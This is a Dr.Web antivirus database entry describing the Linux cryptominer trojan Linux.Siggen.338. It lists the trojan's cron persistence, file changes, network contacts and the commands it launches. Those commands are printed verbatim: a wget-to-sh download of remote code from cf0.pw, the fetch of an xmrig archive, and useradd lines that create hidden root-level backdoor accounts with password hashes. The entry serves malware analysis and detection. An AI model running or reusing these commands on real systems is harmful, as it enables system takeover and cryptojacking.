Mi biblioteca
Mi biblioteca

+ Añadir a la biblioteca

Soporte
Soporte 24 horas | Normas de contactar

Sus solicitudes

Perfil

Linux.Siggen.338

Added to the Dr.Web virus database: 2017-12-30

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/cron.hourly/1
  • /etc/cron.hourly/.placeholder
  • /etc/cron.hourly/0
  • /etc/cron.daily/0
  • /etc/cron.weekly/0
  • /etc/cron.monthly/0
Malicious functions:
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Launches processes:
  • sh -c wget http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1
  • wget http://cf0.pw/0/etc/cron.hourly/0 -O-
  • sh
  • sed -i /^[^:]\+:x:0:/{/^root:/!d} /etc/passwd
  • sed -i /^$/d /etc/passwd
  • sed -i /^$/d /etc/shadow
  • useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$f344a097$L.vnLN/nzsnLirq5nMTBg. sudev
  • nscd -i passwd
  • nscd -i group
  • useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$.bHtz1HY$eNtJowby1b0WVTgQT2bLu/ jewbags
  • rm -f /etc/cron.hourly/1
  • mkdir -p /root
  • mkdir -p /root/.ssh
  • wget http://cf0.pw/log/ -O /dev/null
  • chmod +x /etc/cron.hourly/0
  • chmod +x /etc/cron.daily/0
  • chmod +x /etc/cron.weekly/0
  • chmod +x /etc/cron.monthly/0
  • apt-get install wget curl -y
  • /usr/bin/dpkg --print-foreign-architectures
  • /usr/lib/apt/methods/http
  • pkill -9 xmrig
  • grep rbdYSfTEtykGg /root/.ssh/authorized_keys
  • mkdir -p /usr/libexec
  • chmod 755 /root /root/.ssh /root/.ssh/authorized_keys
  • chown root:root /root /root/.ssh /root/.ssh/authorized_keys
  • rm -f /usr/libexec/x
  • wget http://cf0.pw/0/xmr.tgz -O /usr/libexec/x
  • ps auxw
  • grep -v grep
  • grep xmrig
  • tar zxvf x
  • gzip -d
  • cat /dev/urandom
  • tr -dc _A-Za-z0-9
  • head -c15
  • sed s/c285345992f8ae31/pn9FoSPkm2J7mb5/ -i config.json
  • ./xmrig
  • touch /tmp/sdxsdf
  • /bin/sh ./xmrig
Attempts to kill the following processes:
  • killall -9 xmrig
Kills the following processes:
  • /usr/lib/apt/methods/http
Performs operations with the file system:
Modifies file access rights:
  • /etc/sedaL65do
  • /etc/sed1dMtqB
  • /etc/sedGn5obH
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/cron.hourly/0
  • /etc/cron.daily/0
  • /etc/cron.weekly/0
  • /etc/cron.monthly/0
  • /root
  • /root/.ssh
  • /root/.ssh/authorized_keys
  • /usr/libexec/xmrig-2.4.3/xmrig
  • /usr/libexec/xmrig-2.4.3/config.json
  • /usr/libexec/xmrig-2.4.3
  • /usr/libexec/xmrig-2.4.3/sedKCRyVf
Creates folders:
  • /root/.ssh
  • /usr/libexec
  • /usr/libexec/xmrig-2.4.3
Creates symlinks:
  • /etc/passwd.lock"
  • /etc/group.lock"
  • /etc/gshadow.lock"
  • /etc/subuid.lock"
  • /etc/subgid.lock"
  • /etc/shadow.lock"
Creates or modifies files:
  • /etc/sedaL65do
  • /etc/sed1dMtqB
  • /etc/sedGn5obH
  • /etc/.pwd.lock
  • /etc/passwd.691
  • /etc/group.691
  • /etc/gshadow.691
  • /etc/subuid.691
  • /etc/subgid.691
  • /etc/shadow.691
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /etc/passwd.696
  • /etc/group.696
  • /etc/gshadow.696
  • /etc/subuid.696
  • /etc/subgid.696
  • /etc/shadow.696
  • /etc/ld.so.preload
  • /var/lib/dpkg/lock
  • /var/cache/apt/archives/lock
  • /usr/libexec/x
  • /usr/libexec"/xmrig-2.4.3/xmrig
  • /usr/libexec/xmrig-2.4.3/xmrig
  • /usr/libexec"/xmrig-2.4.3/config.json
  • /usr/libexec/xmrig-2.4.3/config.json
  • /usr/libexec/xmrig-2.4.3"/sedKCRyVf
  • /usr/libexec/xmrig-2.4.3/sedKCRyVf
  • /tmp/sdxsdf
Deletes files:
  • /etc/passwd.691"
  • /etc/group.691"
  • /etc/gshadow.691"
  • /etc/subuid.691"
  • /etc/subgid.691"
  • /etc/shadow.691"
  • /etc/shadow.lock"
  • /etc/passwd.lock"
  • /etc/group.lock"
  • /etc/gshadow.lock"
  • /etc/subuid.lock"
  • /etc/subgid.lock"
  • /etc/passwd.696"
  • /etc/group.696"
  • /etc/gshadow.696"
  • /etc/subuid.696"
  • /etc/subgid.696"
  • /etc/shadow.696"
  • /etc/cron.hourly/1"
  • /usr/libexec/x"
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 19#.##.242.89:80
  • 21#.##1.132.32:80
  • 21#.##1.132.250:80
  • [2#########:0:216:35ff:fe7f:be4f]:80
  • [2#########:1:216:35ff:fe7f:6ceb]:80
  • [2#######8:dc41:100::233]:80
HTTP GET requests:
  • cf#.####/etc/cron.hourly/0
  • cf#.pw/log/
  • ft#.##.######.#####ebian/pool/main/w/wget/wget_1.16-1%2bdeb8u1_i386.deb
  • se######.######.######ol/updates/main/c/curl/libcurl3_7.38.0-4%2bdeb8u5_i386.deb
  • se######.######.#####ool/updates/main/c/curl/curl_7.38.0-4%2bdeb8u5_i386.deb
  • cf#.##/0/xmr.tgz
DNS ASK:
  • cf#.pw
  • ft#.##.debian.org
  • se####ty.debian.org
Other:
Collects CPU information
Collects RAM information
Collects information about network activity

Curing recommendations


Linux

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

One month (no registration) or three months (registration and renewal discount)

Download Dr.Web

Download by serial number